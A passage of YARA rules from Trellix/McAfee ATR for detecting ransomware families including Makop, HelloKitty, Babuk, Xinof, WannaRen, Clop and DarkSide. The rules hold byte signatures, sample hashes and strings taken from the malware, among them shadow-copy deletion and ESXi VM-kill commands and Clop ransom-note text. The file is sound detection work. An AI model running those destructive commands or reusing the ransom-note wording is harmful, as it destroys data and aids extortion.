		$pattern = { 558BEC81EC88000000837D08008BC10F101A89957CFFFFFF0F104A10898578FFFFFF0F1062200F106A300F115D940F114DA40F1165B40F116DC40F8E340200008B45D08B4DC48B55B08945F88B45CC8945E08B45C88945E88B45C08945F08B45BC8945F48B45B8538B5DA88945EC8B45AC568B75A48945D48B45A0578975DC8945E48B459403C68BF033F18B4DB4C1C61003CE8BF9337DDCC1C70C03C78945DC33C6C1C0088945D803C18B4DEC89458833C7C1C0078945848B459803C38BF03375E8C1C61003CE8BF933FBC1C70C03C78945E833C6C1C00889458C03C18B4DF48BD88945EC33DF8B459C0345D48B7DE48BF03375E003FAC1C61003CEC1C307894DF4334DD4C1C10C03C133F08945908B45F0C1C6088975800375F433CEC1C107894DE08B4DF833CFC1C11003C133D08945F0C1C20C8D043A8B7DF033C88945E48B45DCC1C10803F9894DF833D7C1C20703C38BC8334DF8C1C11003F18975FC315DFC8B5DFCC1C30C03C389459433C1C1C0088945F88945D003C633D88945F48945BC8B45E80345E08BC8C1C307334DD8C1C110895DFC895DA88B5DEC8D340F8BFE337DE0C1C70C03C789459833C1C1C0088945D88945C403C68B758833F88945F08945C08B459003C2C1C7078BC8897DD4334D8CC1C11003F1897DAC8B7DE433D6037D84C1C20C03C289459C33C1C1C0088945E88945C803C633D08945B48BC7C1C207334580C1C01003D88BCB334D84C1C10C03F98BF7897DE433F0897DA0C1C60803DE8975E08975CC895DEC8B45088BF333F1895DB88B5DFC488B4DD8C1C6078975DC8975A489450885C00F8F30FEFFFF0F106DC48B8578FFFFFF0F1065B45F0F105D948955B00F104DA48B957CFFFFFF5E5B0F10020F105210660FFED80F104230660FFED10F104A200F1118660FFECC660FFEC50F1150100F1148200F1140308BE55DC3CCCCCCCCCCCCCCCCCCCC558BEC83E4F081EC58020000568BC18B4D1489442420578BFA897C24283D000100000F82680A0000660F6E07660F70C800660F6E4704660F70D000660F6E4708660F70D800660F6E470C660F70E000660F6E4710660F70E800660F6E47148B7508660F70F000660F6E47188B550C660F70F8008D8EC0000000660F6E471C660F70C0000F29842430010000660F6E4720660F70C0000F29842440010000660F6E4724660F70C0000F29842450010000660F6E4728660F70C0000F29842460010000660F6E472C894C240C8D8AC0000000660F70C000894C241C8D8E800000000F29842470010000660F6E4738894C24148D8A80000000660F70C000894C24188D4E400F29842480010000660F6E473C894C242C8D4A40660F70C000C1E8080F298C24A00100000F299424B00100000F299C24C00100000F29A424D00100000F29AC24E00100000F29B424F00100000F29BC24000200000F29842490010000894C24108944242066660F1F8400000000000F2884243001000033C00B47308B4F340F298424800000000F288424400100000F298424900000000F288424500100000F294424600F288424600100000F298424100100000F28842470010000894C244C8944244883C0040F298C24D0000000F30F7E4C244883D1000F298424200100000F288424900100000F299424E00000000F2815A02B4200660F6CC90F29442430660FD4D10F2805B02B42000F29A424A0000000660FD4C10F28E20F29B42400010000660F62E0660F6AD00F28F40F299C24F00000000F28DD0F28AC2480010000660F62F20F297C24700F28FE660F6AE2894F348B4D140F295C24500F29AC24C00000000F29A424B00000000F29BC24400200000F29A4245002000089473085C90F84820400000F287C24708BC166900F28D3660FFE9424D0000000660FEFF2660F380035C02B42000F28DE660FFE9C24900000000F28C3660FEF4424500F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942400010000660FFE9424E0000000660FEFF0660F380035D02B42000F29842490000000660FEFE2660F380025C02B42000F28C60F29742470660FFEC30F28DC660FFE5C24600F29842410020000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424000100000F298C24200200000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D7660FFE9424F0000000660FEFE0660F380025D02B42000F29442460660FEFEA660F38002DC02B42000F28C40F29A424B0000000660FFEC30F28DD660FFE9C24100100000F29842430020000660FEFC10F28F0660F72F007660F72D619660FEBF00F28C3660FEFC70F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FFE9424A0000000660FEFE8660F38002DD02B42000F294424500F28E50F29AC24C0000000660FFEE30F28C4660FEFC10F28F8660F72F007660F72D719660FEBF80F286C2430660FEFEA660F38002DC02B42000F28DD660FFE9C24200100000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28D6660FEFE8660FFE942490000000660F38002DD02B42000F298424A00000000F296C2430660FFEEB0F28C5660FEFC10F28C8660F72F007660F72D119660FEBC80F28442430660FEFC20F298C2480000000660F380005C02B42000F28D80F29442430660FFEDC0F28C3660FEFC60F287424700F28C8660F72F00C660F72D114660FEBC80F284424300F28E1660FFEE20F28D7660FFE542460660FEFC4660F380005D02B4200660FEFF20F29A424D0000000660F380035C02B42000F29442430660FFEC30F298424100100000F28DE660FEFC1660FFEDD0F28C8660F72F007660F72D119660FEBC80F28C3660FEFC70F298C24000100000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942480000000660FEFF00F298424E0000000660F380035D02B42000F28C6660FFEC30F29842420010000660FEFC10F28F8660F72F007660F72D719660FEBF8660FFE5424500F28A424B00000000F28AC24C0000000660FEFE2660F380025C02B42000F28DC660FFE9C24100200000F28C3660FEF8424800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F28942420020000660FFE9424A0000000660FEFE00F298424F0000000660FEFEA660F380025D02B4200660F38002DC02B42000F29A424B00000000F28C4660FFEC30F28DD660FFE9C24300200000F29842490000000660FEFC10F28C8660F72F007660F72D119660FEBC80F28C3660FEF8424200200000F298C24800000000F28C8660F72F00C660F72D114660FEBC80F28C1660FFEC20F298424A0000000660FEFE8660F38002DD02B42000F29AC24C00000000F28C5660FFEC30F29442460660FEFC10F28D8660F72F007660F72D319660FEBD80F295C245083E8010F8594FBFFFF0F297C24700F28BC24400200000F28AC24A0010000660FFEAC24D00000000F28A424C00100000F28DD660FFEA424F00000000F288C24B00100000F28D4660FFE8C24E00000000F288424D0010000660FFE8424A00000008B44242C8B7C2414660F62D9660F6AE90F28CB660F6AE0660F62D00F10068344241410660F6CCA660FEFC8660F6DDA0F110A0F10008B4424100F28CD660F6DEC660FEFD8660F6CCC0F28A424000200000F111883C0100F10078B7C2418660FFE642470660FEFC883442418100F28D4894424100F110F8B7C240C0F288C24F0010000660FFE8C24000100008344240C100F10078B7C241C8344241C10660FEFE80F28842430010000660FFE8424800000000F112F8B7C242C0F28AC24E0010000660FFE6C24500F28DD660F62D0660F62D9660F6AE90F28CB660F6AE00F104610660F6CCA660FEFC8660F6DDA0F114A100F1047100F28CD660F6DEC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFE80F11280F28AC2440010000660FFEFE660FFEAC24900000000F28A424600100000F28DD660FFEA424100100000F288C24500100000F28D4660FFE4C24600F28842470010000660FFE84242001000083442410108B4424108344241410660F62D98344241810660F6AE90F28CB660F6AE0660F62D00F1046208344240C10660F6CCA660FEFC88344241C100F114A200F104720660F6DDA0F28CD660FEFD8660F6CCC0F11188B44241483442414100F28DF660F6DEC0F28A424800100000F10008B442418660FFEA424C0000000660FEFC883442418100F28D40F11088B44240C0F288C2450020000660FFE8C24B00000008344240C100F10008B44241C660F62D9660FEFE8660F6AF90F288424900100000F28CB660FFE4424300F11288B442410660F62D083C010660F6AE00F1046308344241C10660F6CCA660FEFC8660F6DDA0F114A30894424100F1047300F28CF660F6DFC660FEFD8660F6CCC0F11188B4424140F10008B442418660FEFC80F11088B44240C0F10008B44241C660FEFF881442410D000000081C70001000081442418D000000081C2000100008144241CD000000081C60001000081442414D00000008144240CD00000000F288C24A00100000F289424B00100000F289C24C00100000F28A424D00100000F28AC24E00100000F28B424F00100000F11388B4424240F28BC24000200002D00010000836C242001897C242C8B7C2428894424240F85E2F6FFFFEB068B550C8B75088954241083F8400F829A010000C1E80689442420660F1F4400000F10370F1057100F107F200F106F3085C90F84F60000008BC10F1F80000000000F28DA660FFEDE660FEFEB660F38002DC02B42000F28E5660FFEE70F28C4660FEFC20F28C8660F72F00C660F72D114660FEFC80F28D1660FFED3660FEFEA660F70D293660F38002DD02B42000F28DD660F70ED4E660FFEDC660F70E3390F28C3660FEFC10F28C8660F72F007660F72D119660FEFC8660FFED1660FEFEA660F38002DC02B4200660FFEE50F28C4660FEFC10F28D8660F72F00C660F72D314660FEFD80F28C3660FFEC2660F70F039660FEFE8660F38002DD02B42000F28C5660F70ED4E660FFEC4660F70F8930F28C8660FEFCB0F28D1 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule TRELLIX_ARC_RANSOM_Makop : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect the unpacked Makop ransomware samples"
		author = "Marc Rivero | McAfee ATR Team"
		id = "2828f2f9-4702-5cef-8b4e-7e98146c0332"
		date = "2020-07-19"
		modified = "2020-08-14"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_makop.yar#L1-L32"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "008e4c327875110b96deef1dd8ef65cefa201fef60ca1cbb9ab51b5304e66fe1"
		logic_hash = "2b4f8b90d46530421b66dbb04df6e84d268709fbee884536d8acc91e1b85f8a4"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Makop"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$pattern_0 = { 50 8d7c2420 e8???????? 84c0 0f84a6020000 8b742460 ba???????? }
		$pattern_1 = { 51 52 53 ffd5 85c0 746d 8b4c240c }
		$pattern_2 = { 7521 68000000f0 6a18 6a00 6a00 56 ff15???????? }
		$pattern_3 = { 83c40c 8d4e0c 51 66c7060802 66c746041066 c6460820 }
		$pattern_4 = { 51 ffd3 50 ffd7 8b4628 85c0 }
		$pattern_5 = { 85c9 741e 8b4508 8b4d0c 8a11 }
		$pattern_6 = { 83c002 6685c9 75f5 2bc6 d1f8 66390c46 8d3446 }
		$pattern_7 = { 895a2c 8b7f04 85ff 0f85f7feffff 55 6a00 }
		$pattern_8 = { 8b3d???????? 6a01 6a00 ffd7 50 ff15???????? }
		$pattern_9 = { 85c0 7407 50 ff15???????? }
	condition:
		7 of them and filesize < 237568
}


rule TRELLIX_ARC_Ransom_Linux_Hellokitty_0721 : RANSOMWARE FILE
{
	meta:
		description = "rule to detect Linux variant of the Hello Kitty Ransomware"
		author = "Christiaan @ ATR"
		id = "097b02e7-93d8-5d4f-9964-7b660b3cd7b9"
		date = "2021-07-19"
		modified = "2021-07-19"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Linux_HelloKitty0721.yar#L1-L28"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "77a3809df4c7c591a855aaecd702af62935952937bb81661aa7f68e64dcf4fb4"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		Rule_Version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:Linux/HelloKitty"
		hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041"
		hash2 = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed"
	strings:
		$v1 = "esxcli vm process kill -t=force -w=%d" fullword ascii
		$v2 = "esxcli vm process kill -t=hard -w=%d" fullword ascii
		$v3 = "esxcli vm process kill -t=soft -w=%d" fullword ascii
		$v4 = "error encrypt: %s rename back:%s" fullword ascii
		$v5 = "esxcli vm process list" fullword ascii
		$v6 = "Total VM run on host:" fullword ascii
		$v7 = "error lock_exclusively:%s owner pid:%d" fullword ascii
		$v8 = "Error open %s in try_lock_exclusively" fullword ascii
		$v9 = "Mode:%d  Verbose:%d Daemon:%d AESNI:%d RDRAND:%d " fullword ascii
		$v10 = "pthread_cond_signal() error" fullword ascii
		$v11 = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>" fullword ascii
	condition:
		( uint16( 0 ) == 0x457f and filesize < 200KB and ( 8 of them ) ) or ( all of them )
}

rule TRELLIX_ARC_Ransom_Babuk : RANSOM T1027 T1083 T1057 T1082 T1129 T1490 T1543_003 FILE
{
	meta:
		description = "Rule to detect Babuk Locker"
		author = "TS @ McAfee ATR"
		id = "7c0a3b4e-90aa-5442-aa5e-1a7fcae9bec8"
		date = "2021-01-19"
		modified = "2021-02-24"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BabukLocker_Jan2021.yar#L1-L25"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "e10713a4a5f635767dcd54d609bed977"
		logic_hash = "123cebd1c2e66f3e91ee235cb9288df63dfaeba02e6df45f896cb50f38851a8f"
		score = 75
		quality = 70
		tags = "RANSOM, T1027, T1083, T1057, T1082, T1129, T1490, T1543.003, FILE"
		rule_version = "v2"
		malware_family = "Ransom:Win/Babuk"
		malware_type = "Ransom"
		mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003"
	strings:
		$s1 = {005C0048006F007700200054006F00200052006500730074006F0072006500200059006F00750072002000460069006C00650073002E007400780074}
		$s2 = "delete shadows /all /quiet" fullword wide
		$pattern1 = {006D656D74617300006D65706F63730000736F70686F730000766565616D0000006261636B7570000047785673730000004778426C7200000047784657440000004778435644000000477843494D67720044656657617463680000000063634576744D67720000000063635365744D677200000000536176526F616D005254567363616E0051424643536572766963650051424944505365727669636500000000496E747569742E517569636B426F6F6B732E46435300}
		$pattern2 = {004163725363683253766300004163726F6E69734167656E74000000004341534144324457656253766300000043414152435570646174655376630000730071}
		$pattern3 = {FFB0154000C78584FDFFFFB8154000C78588FDFFFFC0154000C7858CFDFFFFC8154000C78590FDFFFFD0154000C78594FDFFFFD8154000C78598FDFFFFE0154000C7859CFDFFFFE8154000C785A0FDFFFFF0154000C785A4FDFFFFF8154000C785A8FDFFFF00164000C785ACFDFFFF08164000C785B0FDFFFF10164000C785B4FDFFFF18164000C785B8FDFFFF20164000C785BCFDFFFF28164000C785C0FDFFFF30164000C785C4FDFFFF38164000C785C8FDFFFF40164000C785CCFDFFFF48164000C785D0FDFFFF50164000C785D4FDFFFF581640}
		$pattern4 = {400010104000181040002010400028104000301040003810400040104000481040005010400058104000601040006C10400078104000841040008C10400094104000A0104000B0104000C8104000DC104000E8104000F01040000011400008114000181140002411400038114000501140005C11400064114000741140008C114000A8114000C0114000E0114000F4114000101240002812400034124000441240005412400064124000741240008C124000A0124000B8124000D4124000EC1240000C1340002813400054134000741340008C134000A4134000C4134000E8134000FC134000141440003C144000501440006C144000881440009C144000B4144000CC144000E8144000FC144000141540003415400048154000601540007815}
	condition:
		filesize >= 15KB and filesize <= 90KB and 1 of ( $s* ) and 3 of ( $pattern* )
}

rule TRELLIX_ARC_Ransom_Xinof : RANSOMWARE FILE
{
	meta:
		description = "Detect Xinof ransomware"
		author = "Thomas Roccia | McAfee ATR team"
		id = "3b064ce4-cd5b-5a4a-bb55-a2c2c361791e"
		date = "2020-11-20"
		modified = "2020-11-20"
		reference = "https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_xinof.yar#L53-L82"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "0c1e6299a2392239dbe7fead33ef4146"
		logic_hash = "42110ee8869d56c53dc201cbc83652c6457541b8d502aa12b37ef6200e735a15"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom/XINOF"
		actor_type = "Cybercrime"
		actor_group = "FONIX"
	strings:
		$s1 = "XINOF.exe" nocase ascii
		$s2 = "C:\\Users\\Phoenix" nocase ascii
		$s3 = "How To Decrypt Files.hta" nocase ascii
		$s4 = "C:\\ProgramData\\norunanyway" nocase ascii
		$s5 = "C:\\ProgramData\\clast" nocase ascii
		$s6 = "fonix1" nocase ascii
		$s7 = "C:\\Windows\\System32\\shatdown.exe" nocase ascii
		$s8 = "XINOF Ransomw" nocase ascii
		$s9 = "XINOF v4.2" nocase ascii
		$s10 = "XINOF Ransomware Version 3.3" nocase ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 5 of ( $s* ) or TRELLIX_ARC_Ransom_Xinof_Chunk_PRIVATE
}

rule TRELLIX_ARC_Wannaren_Ransomware : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect WannaRen Ransomware"
		author = "McAfee ATR Team"
		id = "f4f30d12-547d-5044-a4e5-b88bf359480f"
		date = "2020-04-25"
		modified = "2020-10-12"
		reference = "https://blog.360totalsecurity.com/en/attention-you-may-have-become-a-susceptible-group-of-wannaren-ransomware/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wannaren.yar#L1-L34"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "7b364f1c854e6891c8d09766bcc9a49420e0b5b4084d74aa331ae94e2cfb7e1d"
		logic_hash = "0feb913b84eb0ecdda688f0cf0a5051798fe4fbce8a6ea959825985a81a6699c"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/WannaRen"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$sq0 = { 92 93 a91c2ea521 59 334826 }
		$sq1 = { d0ce 6641 c1e9c0 41 80f652 49 c1f94d }
		$sq2 = { 80f8b5 4d 63c9 f9 4d 03d9 41 }
		$sq3 = { 34b7 d2ea 660fbafa56 0f99c2 32d8 660fbafaed 99 }
		$sq4 = { f9 f7c70012355f 35c01f5226 f9 8d8056c800b0 f6c4b2 f9 }
		$sq5 = { f5 f9 44 3aeb 45 33cd 41 }
		$sq6 = { 890f c0ff12 44 b4a3 ee 2b4e70 7361 }
		$sq7 = { 81c502000000 6689542500 6681d97a1e 660fabe1 660fbae1a5 8b0f 8dbf04000000 }
		$sq8 = { 8d13 de11 d7 677846 f1 0d8cd45f87 bb34b98f33 }
		$sq9 = { 1440 4b 41 e8???????? 397c0847 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 21000KB and 7 of them
}

rule TRELLIX_ARC_Clop_Ransom_Note : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect Clop Ransomware Note"
		author = "Marc Rivero | McAfee ATR Team"
		id = "b18e4d4d-aa38-5009-a31b-ed038c5bd4f9"
		date = "2019-08-01"
		modified = "2020-08-14"
		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_ClopRansomNote.yar#L1-L34"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "a90862e9dc59b1a8f38b777b4f529d5de740d0f49175813cae64f10ca9677826"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/Clop"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$s1 = "If you want to restore your files write to emails" fullword ascii
		$s2 = "All files on each host in the network have been encrypted with a strong algorithm." fullword ascii
		$s3 = "Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover." fullword ascii
		$s4 = "You will receive decrypted samples and our conditions how to get the decoder." fullword ascii
		$s5 = "DO NOT RENAME OR MOVE the encrypted and readme files." fullword ascii
		$s6 = "(Less than 6 Mb each, non-archived and your files should not contain valuable information" fullword ascii
		$s7 = "We exclusively have decryption software for your situation" fullword ascii
		$s8 = "Do not rename encrypted files." fullword ascii
		$s9 = "DO NOT DELETE readme files." fullword ascii
		$s10 = "Nothing personal just business" fullword ascii
		$s11 = "eqaltech.su" fullword ascii
	condition:
		( uint16( 0 ) == 0x6f59 ) and filesize < 10KB and all of them
}


rule TRELLIX_ARC_RANSOM_Darkside : RANSOMWARE FILE
{
	meta:
		description = "Rule to detect packed and unpacked samples of DarkSide"
		author = "Marc Rivero | McAfee ATR Team"
		id = "ecbee92f-236a-5385-9566-502ef1c0aeda"
		date = "2020-08-11"
		modified = "2023-07-27"
		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Darkside.yar#L1-L23"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		logic_hash = "be16d65911336809be103ea667167228e6445de85fd47ecd9ff8b3d91e056693"
		score = 75
		quality = 70
		tags = "RANSOMWARE, FILE"
		rule_version = "v1"
		malware_type = "ransomware"
		malware_family = "Ransom:W32/DarkSide"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
		hash1 = "9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297"
	strings:
		$pattern_0 = { CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558BEC5053515256570FEFC0660FEFC033DB8B7D088B450C33D2B910000000F7F185C0740B0F110783C7104885C075F585D27502EB5892B908000000F7F185C0740B0F7F0783C7084885C075F585D27502EB3B92B904000000F7F185C0740A891F83C7044885C075F685D27502EB1F92B902000000F7F185C0740B66891F83C7024885C075F585D27502EB02881F5F5E5A595B585DC20800558BEC5053515256578B750C8B7D088B451033D2B910000000F7F185C074110F10060F110783C61083C7104885C075EF85D27502EB6892B908000000F7F185C074110F6F060F7F0783C60883C7084885C075EF85D27502EB4592B904000000F7F185C0740F8B1E891F83C60483C7044885C075F185D27502EB2492B902000000F7F185C0740E66891F83C60283C7024885C075F285D27502EB048A1E881F5F5E5A595B585DC20C00558BEC53515256578B4D0C8B75088B7D1033C033DBAC8AD8C0E80480E30F3C0072063C09770204303C0A72063C0F7702045780FB00720880FB09770380C33080FB0A720880FB0F770380C35766AB8AC366AB4985C975BE6633C066AB5F5E5A595B5DC20C00558BEC53515256578B75088B7D0C55FCB2808A0683C601880783C701BB0200000002D275058A164612D273E602D275058A164612D2734F33C002D275058A164612D20F83DB00000002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C074068BDF2BD88A03880747BB02000000EB9BB80100000002D275058A164612D213C002D275058A164612D272EA2BC3BB010000007528B90100000002D275058A164612D213C902D275058A164612D272EA568BF72BF5F3A45EE94FFFFFFF48C1E0088A06468BE8B90100000002D275058A164612D213C902D275058A164612D272EA3D007D000083D9FF3D0005000083D9FF3D8000000083D1003D8000000083D100568BF72BF0F3A45EE9FEFEFFFF8A064633C9C0E801741783D1028BE8568BF72BF0F3A45EBB01000000E9DDFEFFFF5D2B7D0C8BC75F5E5A595B5DC20800558BEC53515256578B7D088B450CB9FF00000033D2F7F185C074188BD868FF00000057E8AD00000081C7FF0000004B85DB75EA85D274075257E8970000005F5E5A595B5DC20800558BEC5351525657B9F0000000BEB2B640008B45088B108B58048B78088B400C89540E0C89440E08895C0E04893C0E81EA101010102D1010101081EB1010101081EF1010101083E91079D533D233C98B750C33DB8B7D108A81B2B6400002141E02D08AA2B2B64000438882B2B6400088A1B2B640003BDF7306FEC175DAEB0633DBFEC175D25F5E5A595B5DC20C00558BEC535152565733C0A3C2B84000A3C6B84000B9400000008D35B2B640008D3DB2B74000F3A58B7D088B15C2B840008B4D0C8B1DC6B840004F33C0029AB3B740008A82B3B740008AABB2B740008883B2B7400088AAB3B7400002C5478A80B2B74000FEC23007FEC975D18915C2B84000891DC6B840005F5E5A595B5DC2080053515256578D35047040008D3DCAB84000FF76FC56E891FEFFFF56E8864500008BD8FF76FC56E888FBFFFF8B46FC8D3406B915000000E85C010000AD5056E868FEFFFF56E85D4500008BD8FF76FC56E85FFBFFFF8B46FC8D3406B93D000000E833010000AD5056E83FFEFFFF5256E8334500008BD85AFF76FC56E834FBFFFF8B46FC8D3406B915000000E808010000AD5056E814FEFFFF5256E8084500008BD85AFF76FC56E809FBFFFF8B46FC8D3406B904000000E8DD000000AD5056E8E9FDFFFF5256E8DD4400008BD85AFF76FC56E8DEFAFFFF8B46FC8D3406B906000000E8B2000000AD5056E8BEFDFFFF5256E8B24400008BD85AFF76FC56E8B3FAFFFF8B46FC8D3406B901000000E887000000AD5056E893FDFFFF5256E8874400008BD85AFF76FC56E888FAFFFF8B46FC8D3406B903000000E85C000000AD5056E868FDFFFF5256E85C4400008BD85AFF76FC56E85DFAFFFF8B46FC8D3406B901000000E831000000AD5056E83DFDFFFF5256E8314400008BD85AFF76FC56E832FAFFFF8B46FC8D3406B902000000E8060000005F5E5A595BC3ADFF76FC56E80AFDFFFF515653E8F743000059ABFF76FC56E8FFF9FFFF8B46FC8D34064985C975D8C3558BEC81EC1401000053515256578D85ECFEFFFF50FF1516B940008BB5F0FEFFFF8BBDF4FEFFFF83FE05750583FF01720583FE057313B8000000005F5E5A595B8BE55DC3E9DA00000083FE05751883FF017513B8330000005F5E5A595B8BE55DC3E9BD00000083FE05751883FF027513B8340000005F5E5A595B8BE55DC3E9A000000083FE06751785FF7513B83C0000005F5E5A595B8BE55DC3E98400000083FE06751583FF017510B83D0000005F5E5A595B8BE55DC3EB6A83FE06751583FF027510B83E0000005F5E5A595B8BE55DC3EB5083FE06751583FF037510B83F0000005F5E5A595B8BE55DC3EB3683FE0A751485FF7510B8640000005F5E5A595B8BE55DC3EB1D83FE0A750583FF00770583FE0A760EB8FFFFFF7F5F5E5A595B8BE55DC3B8FFFFFFFF5F5E5A595B8BE55DC3558BEC83C4F853515256576A0068800000006A026A006A006800000040FF7508FF1526B940008945FC837DFCFF74226A008D45F850FF7510FF750CFF75FCFF1536B9400085C07409FF75FCFF153EB940005F5E5A595B8BE55DC20C008BFF558BEC5351525657837D0C0074728D3DAABA4000837D100075086A1057E842F8FFFFFF750CFF750868EFBEADDEFF15F6B84000FF750CFF750850FF15F6B840003107FF750CFF750850FF15F6B84000314704FF750CFF750850FF15F6B84000314708FF750CFF750850FF15F6B8400031470CB8AABA40005F5E5A595B5DC20C00B8000000005F5E5A595B5DC20C00558BEC5351525657FF7508FF15DEB8400083C4048BD88D045D02000000506A00FF35AEB64000FF15BEB940008BF085F67434FF750856FF15CEB8400083C4088D43016A006A0050FF75086AFF566A006A00FF1506BA4000566A00FF35AEB64000FF15C6B940008BC35F5E5A595B5DC2040053515657833DBABA400000750B68BABA4000FF15F2B8400068BABA4000FF15F2B840008BD15F5E595BC3558BEC5351525657BB080000008B7508E8C1FFFFFF83FB05750433C033D28944DEFC8954DEF84B85DB75E55F5E5A595B5DC204008D4000558BEC81EC0001000053515256578D45B083C00F83E0F089850CFFFFFF8D8560FFFFFF83C00F83E0F0898508FFFFFF8D8510FFFFFF83C00F83E0F0898504FFFFFF837D14000F84750300008BB504FFFFFF0F57C00F11060F1146100F1146200F1146308B75088BBD0CFFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F30837D1440732A8B4510898500FFFFFF8B9504FFFFFF8BFA8B750C8B4D148A440EFF88440FFF4985C975F389550C8955108BB50CFFFFFF8BBD08FFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F305556BD0A0000008B078B5F108B4F208B57308BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C68907895F10894F208957308B47148B5F248B4F348B57048BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894714895F24894F348957048B47288B5F388B4F088B57188BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894728895F38894F088957188B473C8B5F0C8B4F1C8B572C8BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C689473C }
		$pattern_1 = { 70211F3B6E97C50000473D000000A000004602003EBBFF1F92CC558BEC5053515256570FEFC0660333DBFBFFEDFF8B7D088B450C33D2B9100000F7F185C0740B0F110783C710480A692EFB7F75F585D27502EB5892B9081C7F08B60F592E3B040A891F38049B641979F61F02661CD6FEBFEC023802881F5F5E5A595B585DC25D977E20634F8B750C9110110F1006252383FD94C61097EF6819AC59BA226F7F089DEFD8EE0119450F8B1E82C604A23E033232F1240EC602B9EC91C1A5F2048A1EA70CA12CCBD9A64D757D42E9FEFFBFAC8AD8C0E80480E30F3C0072063C09770204303C0A090FB66F6DBB5780FB140804150380C3300C0ADADFFE790F5766AB8AC3034985C975BE6646FF252CD6096564610C55FCB2806FDF86DB8A069701887801BBAD0299058A164FD62EFB4612D273E60A4F430C0F83DB7F2A7B602613C00A74068BDF2BD821EC63DB8A03644762EB9BB80142900BFBFB72EA2BC3BB1C7528B923C96F7FFB1F568BF72BF5F3A45EE94D01D248C1E008C3468BE8DE1EC26E0C0449303D007D4B83D9FF0DD93CD907058000D100BDB01BF250F04C33C974017417B1D8B0B61902561B96204B06E1C25D2B398BC75208111AEE18E